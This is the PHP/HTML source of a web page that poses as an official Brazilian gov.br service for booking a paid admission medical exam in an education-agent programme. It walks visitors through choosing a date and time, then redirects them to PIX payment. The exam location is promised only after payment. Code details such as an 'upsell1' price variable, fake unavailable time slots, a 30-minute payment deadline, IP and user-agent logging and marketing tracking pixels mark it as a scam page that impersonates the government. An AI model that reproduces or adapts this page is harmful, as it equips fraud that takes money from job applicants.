<?php
require 'config.php';
ini_set('display_errors', 0 );
error_reporting(0);
set_time_limit(0);
date_default_timezone_set('America/Sao_Paulo');
$hora = @date("d/m/Y - H:i:s");
$ip = $_SERVER['REMOTE_ADDR'];
$dispositivo = $_SERVER['HTTP_USER_AGENT'];






?>
<html lang="pt-BR">

<head>





    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>Agendamento de Exame Médico - Mais Agentes da Educação - gov.br</title>

    <script src="assets/js/3.4.16.js"></script>
    <link rel="stylesheet" href="assets/css/all.min.css">
    <link href="assets/css/rawline.css" rel="stylesheet">
    <link rel="stylesheet" href="assets/css/flatpickr.min.css">

    <!-- Custom CSS -->
    <link rel="stylesheet" href="assets/css/custom.css">

    <?php include "!pixels.php"; ?>

    <!-- SEO and Meta Tags -->
    <meta name="description" content="Agendamento de Exame Médico - Programa Nacional de Agentes da Educação">
    <meta name="keywords" content="educação, governo federal, agentes educação, PNAE, exame médico">
    <meta name="author" content="Governo Federal do Brasil">

    <!-- Favicon -->
    <link rel="icon" type="image/x-icon"
        href="data:image/svg+xml,<svg xmlns=%22http://www.w3.org/2000/svg%22 viewBox=%220 0 100 100%22><text y=%22.9em%22 font-size=%2290%22>🇧🇷</text></svg>">

 </head>


     <body class="bg-gray-50">
    <!-- Header -->
    <header class="header-govbr bg-white shadow-sm">
        <div class="flex justify-between items-center px-4 py-3">
            <div class="flex items-center">
                <a  class="gov-logo">
                    <img src="assets/img/1.webp" alt="gov.br" class="h-8">
                </a>
            </div>
            <div class="flex items-center">
              
            </div>
        </div>
    </header>


    <!-- Main Content -->
    <main class="container mx-auto px-4 py-8" style="max-width: 1200px;">
        <div class="bg-white rounded-lg shadow-lg p-6">
            <h1 class="text-2xl font-semibold mb-6" style="color: #1351B4;">Agendamento do Exame Médico Admissional</h1>

            <!-- Instructions -->
            <div class="bg-blue-50 border border-blue-200 rounded-lg p-4 mb-6">
                <h2 class="font-semibold text-blue-800 mb-2">
                    <i class="fas fa-info-circle mr-2"></i>
                    Instruções Importantes
                </h2>
                <ul class="text-sm text-blue-700 space-y-2">
                    <li>• Selecione uma data disponível no calendário abaixo</li>
                    <li>• Escolha um horário disponível para seu exame</li>
                    <li>• Após selecionar, você será redirecionado para o pagamento via PIX</li>
                    <li>• O pagamento deve ser realizado em até 30 minutos para garantir sua vaga</li>
                    <li>• O local do exame será enviado para seu e-mail após a confirmação do pagamento</li>
                    <li>• Chegue com 15 minutos de antecedência no dia do exame</li>
                </ul>
            </div>
            <!-- Calendar Section -->
            <div class="grid md:grid-cols-1 gap-8">
                <!-- Calendar -->
                <div class="bg-white rounded-lg border border-gray-200 p-6">
                    <h3 class="font-semibold mb-4 text-lg">Selecione a Data do Exame</h3>
                    <div class="calendar-container">
                        <div class="custom-calendar">
                            <div class="calendar-header flex justify-between items-center mb-4">
                                <button id="prevMonth" class="p-2 hover:bg-gray-100 rounded-full">
                                    <i class="fas fa-chevron-left text-gray-600"></i>
                                </button>
                                <h4 id="currentMonth" class="text-lg font-semibold text-gray-800"></h4>
                                <button id="nextMonth" class="p-2 hover:bg-gray-100 rounded-full">
                                    <i class="fas fa-chevron-right text-gray-600"></i>
                                </button>
                            </div>
                            <div class="calendar-weekdays grid grid-cols-7 gap-1 mb-2">
                                <div class="text-center text-sm font-medium text-gray-500">Dom</div>
                                <div class="text-center text-sm font-medium text-gray-500">Seg</div>
                                <div class="text-center text-sm font-medium text-gray-500">Ter</div>
                                <div class="text-center text-sm font-medium text-gray-500">Qua</div>
                                <div class="text-center text-sm font-medium text-gray-500">Qui</div>
                                <div class="text-center text-sm font-medium text-gray-500">Sex</div>
                                <div class="text-center text-sm font-medium text-gray-500">Sáb</div>
                            </div>
                            <div id="calendarDays" class="grid grid-cols-7 gap-1">
                                <!-- Days will be populated by JavaScript -->
                            </div>
                        </div>
                    </div>
                </div>
                <!-- Time Slots - Initially Hidden -->
                <div id="timeSlotsContainer" class="bg-white rounded-lg border border-gray-200 p-6 hidden">
                    <h3 class="font-semibold mb-4 text-lg">Selecione o Horário</h3>
                    <p class="text-sm text-gray-600 mb-4">Data selecionada: <span id="selectedDateDisplay"
                            class="font-medium"></span></p>
                    <div id="timeSlots" class="grid grid-cols-2 sm:grid-cols-3 md:grid-cols-4 gap-3">
                        <!-- Time slots will be populated by JavaScript -->
                    </div>
                </div>
            </div>
            <!-- Selected Date and Time Summary -->
            <div id="selectionSummary" class="mt-6 hidden">
                <div class="bg-gray-50 rounded-lg p-6 border border-gray-200">
                    <h3 class="font-semibold mb-4 text-lg">Resumo do Agendamento</h3>
                    <div class="grid md:grid-cols-3 gap-4">
                        <div class="bg-white p-4 rounded-lg border border-gray-200">
                            <p class="text-sm text-gray-500 mb-1">Data</p>
                            <p id="selectedDate" class="font-medium text-gray-900"></p>
                        </div>
                        <div class="bg-white p-4 rounded-lg border border-gray-200">
                            <p class="text-sm text-gray-500 mb-1">Horário</p>
                            <p id="selectedTime" class="font-medium text-gray-900"></p>
                        </div>
                        <div class="bg-white p-4 rounded-lg border border-gray-200">
                            <p class="text-sm text-gray-500 mb-1">Valor</p>
                            <p class="font-medium text-gray-900">R$ <?php echo $upsell1; ?></p>
                        </div>
                    </div>
                </div>
            </div>
            <!-- Action Button -->
            <div class="mt-8 text-center">
                <button id="proceedButton" disabled=""
                    class="bg-gray-400 text-white px-8 py-3 rounded-md font-medium transition-colors cursor-not-allowed text-lg">
                    Prosseguir para Pagamento
                </button>
            </div>
        </div>
    </main>
    <!-- Loading Modal -->
    <div id="loadingModal" class="fixed inset-0 bg-black bg-opacity-75 hidden flex items-center justify-center z-50">
        <div class="bg-white rounded-lg p-8 max-w-md w-full mx-4 text-center">
            <div class="animate-spin rounded-full h-12 w-12 border-b-2 border-blue-600 mx-auto mb-4"></div>
            <h3 class="text-xl font-semibold mb-2">Processando seu agendamento</h3>
            <p class="text-gray-600" id="loadingMessage">Estamos reservando seu horário, aguarde um instante...</p>
        </div>
    </div>
    <!-- PIX Payment Modal -->
    <div id="pixModal" class="fixed inset-0 bg-black bg-opacity-75 hidden flex items-center justify-center z-50">
        <div class="bg-white rounded-lg p-8 max-w-md w-full mx-4">
            <div class="text-center mb-6">
                <div class="w-16 h-16 bg-green-100 rounded-full flex items-center justify-center mx-auto mb-4">
                    <i class="fas fa-qrcode text-2xl text-green-600"></i>
                </div>
                <h3 class="text-xl font-semibold mb-2">Pagamento via PIX</h3>
                <p class="text-gray-600">Escaneie o QR Code ou copie o código PIX abaixo</p>
            </div>
            <div class="bg-gray-50 rounded-lg p-4 mb-4">
                <div class="text-center mb-4">
                    <img id="pixQRCode" src="" alt="QR Code PIX" class="mx-auto w-48 h-48">
                </div>
                <div class="mb-4">
                    <label class="block text-sm font-medium text-gray-700 mb-2">Código PIX Copia e Cola</label>
                    <div class="flex">
                        <input type="text" id="pixCode" readonly=""
                            class="flex-1 bg-white border border-gray-300 rounded-l-md px-3 py-2 text-sm">
                        <button onclick="copyPixCode()"
                            class="bg-blue-600 text-white px-4 py-2 rounded-r-md hover:bg-blue-700">
                            <i class="fas fa-copy"></i>
                        </button>
                    </div>
                </div>
            </div>
            <div class="text-center">
                <p class="text-sm text-gray-600 mb-4">Após o pagamento, seu agendamento será confirmado automaticamente
                </p>
                <div id="payment-status" class="flex items-center p-4 bg-yellow-50 border border-yellow-200 rounded-lg">
                    <div class="animate-spin rounded-full h-5 w-5 border-b-2 border-yellow-600 mr-3"></div>
                    <span class="text-yellow-800">Aguardando pagamento...</span>
                </div>
            </div>
        </div>
    </div>
    <!-- External Scripts -->
    <script src="flatpickr-1"></script>
    <script src="js/pt.js"></script>
    <script>
        document.addEventListener('DOMContentLoaded', function () {
            localStorage.removeItem('transacao_id_upsell');
            let currentDate = new Date();
            let selectedDate = null;

            function initCalendar() {
                updateCalendarHeader();
                renderCalendar();
            }

            function updateCalendarHeader() {
                const months = [
                    'Janeiro', 'Fevereiro', 'Março', 'Abril', 'Maio', 'Junho',
                    'Julho', 'Agosto', 'Setembro', 'Outubro', 'Novembro', 'Dezembro'
                ];
                document.getElementById('currentMonth').textContent =
                    `${months[currentDate.getMonth()]} ${currentDate.getFullYear()}`;
            }

            function renderCalendar() {
                const calendarDays = document.getElementById('calendarDays');
                calendarDays.innerHTML = '';
                const firstDay = new Date(currentDate.getFullYear(), currentDate.getMonth(), 1);
                const lastDay = new Date(currentDate.getFullYear(), currentDate.getMonth() + 1, 0);
                const startingDay = firstDay.getDay();
                const totalDays = lastDay.getDate();

                for (let i = 0; i < startingDay; i++) {
                    const emptyDay = document.createElement('div');
                    emptyDay.className = 'h-12';
                    calendarDays.appendChild(emptyDay);
                }

                for (let day = 1; day <= totalDays; day++) {
                    const dayElement = document.createElement('button');
                    const currentDayDate = new Date(currentDate.getFullYear(), currentDate.getMonth(), day);

                    const isDisabled = isDateDisabled(currentDayDate);
                    const isSelected = selectedDate &&
                        selectedDate.getDate() === day &&
                        selectedDate.getMonth() === currentDate.getMonth() &&
                        selectedDate.getFullYear() === currentDate.getFullYear();

                    dayElement.className = `h-12 flex items-center justify-center rounded-lg text-sm font-medium transition-all
                    ${isDisabled ? 'text-gray-300 cursor-not-allowed' :
                            isSelected ? 'bg-blue-600 text-white scale-105' :
                                'text-gray-700 hover:bg-blue-50 hover:scale-105'}`;

                    dayElement.textContent = day;
                    dayElement.disabled = isDisabled;
                    if (!isDisabled) {
                        dayElement.onclick = () => selectDate(currentDayDate);
                    }
                    calendarDays.appendChild(dayElement);
                }
            }

            function isDateDisabled(date) {
                const today = new Date();
                today.setHours(0, 0, 0, 0);

                //if (date < today) return true; // datas antes de hoje


                const minSelectableDate = new Date();
                minSelectableDate.setHours(0, 0, 0, 0);
                minSelectableDate.setDate(minSelectableDate.getDate() + 3); // hoje + 3 dias

                if (date < minSelectableDate) return true; // desabilita datas antes de hoje+3


                const twoMonthsFromNow = new Date();
                twoMonthsFromNow.setMonth(twoMonthsFromNow.getMonth() + 2);
                if (date > twoMonthsFromNow) return true;

                if (date.getDay() === 0 || date.getDay() === 6) return true;

                if ([5, 12, 19, 26].includes(date.getDate())) return true;

                return false;
            }

            function selectDate(date) {
                selectedDate = date;
                renderCalendar();

                document.getElementById('timeSlotsContainer').classList.remove('hidden');
                document.getElementById('selectedDateDisplay').textContent = date.toLocaleDateString('pt-BR');
                updateTimeSlots(date);
                document.getElementById('selectionSummary').classList.add('hidden');

                const proceedButton = document.getElementById('proceedButton');
                proceedButton.disabled = true;
                proceedButton.classList.remove('bg-blue-600', 'hover:bg-blue-700');
                proceedButton.classList.add('bg-gray-400', 'cursor-not-allowed');
            }

            document.getElementById('prevMonth').addEventListener('click', () => {
                currentDate.setMonth(currentDate.getMonth() - 1);
                initCalendar();
            });

            document.getElementById('nextMonth').addEventListener('click', () => {
                currentDate.setMonth(currentDate.getMonth() + 1);
                initCalendar();
            });

            initCalendar();

            const timeSlots = [
                '08:00', '08:30', '09:00', '09:30', '10:00', '10:30',
                '11:00', '11:30', '13:00', '13:30', '14:00', '14:30',
                '15:00', '15:30', '16:00', '16:30'
            ];

            function updateTimeSlots(selectedDate) {
                const timeSlotsContainer = document.getElementById('timeSlots');
                timeSlotsContainer.innerHTML = '';
                const disabledSlots = new Set(['09:30', '13:30', '15:00']);

                timeSlots.forEach(time => {
                    const button = document.createElement('button');
                    button.className = `p-3 text-sm rounded-lg transition-all ${disabledSlots.has(time)
                        ? 'bg-gray-100 text-gray-400 cursor-not-allowed'
                        : 'bg-blue-50 text-blue-700 hover:bg-blue-100 hover:scale-105'}`;
                    button.textContent = time;
                    button.disabled = disabledSlots.has(time);

                    if (!disabledSlots.has(time)) {
                        button.onclick = function () {
                            document.querySelectorAll('#timeSlots button').forEach(btn => {
                                btn.classList.remove('bg-blue-600', 'text-white', 'scale-105');
                                btn.classList.add('bg-blue-50', 'text-blue-700');
                            });

                            this.classList.remove('bg-blue-50', 'text-blue-700');
                            this.classList.add('bg-blue-600', 'text-white', 'scale-105');

                            document.getElementById('selectedTime').textContent = time;
                            document.getElementById('selectedDate').textContent = selectedDate.toLocaleDateString('pt-BR');
                            document.getElementById('selectionSummary').classList.remove('hidden');

                            const proceedButton = document.getElementById('proceedButton');
                            proceedButton.disabled = false;
                            proceedButton.classList.remove('bg-gray-400', 'cursor-not-allowed');
                            proceedButton.classList.add('bg-blue-600', 'hover:bg-blue-700');

                            proceedButton.onclick = () => {
                                var currentUrlParams = window.location.search;
                                window.location.href = '09/' + currentUrlParams;;
                            };

                            document.getElementById('selectionSummary').scrollIntoView({ behavior: 'smooth' });
                        };
                    }

                    timeSlotsContainer.appendChild(button);
                });
            }
        });
    </script>



</body>

</html>

<script>
  window.googlePixelId = "69448785fc637b20b268e231";
  var a = document.createElement("script");
  a.setAttribute("async", "");
  a.setAttribute("defer", "");
  a.setAttribute("src", "https://cdn.utmify.com.br/scripts/pixel/pixel-google.js");
  document.head.appendChild(a);
</script>
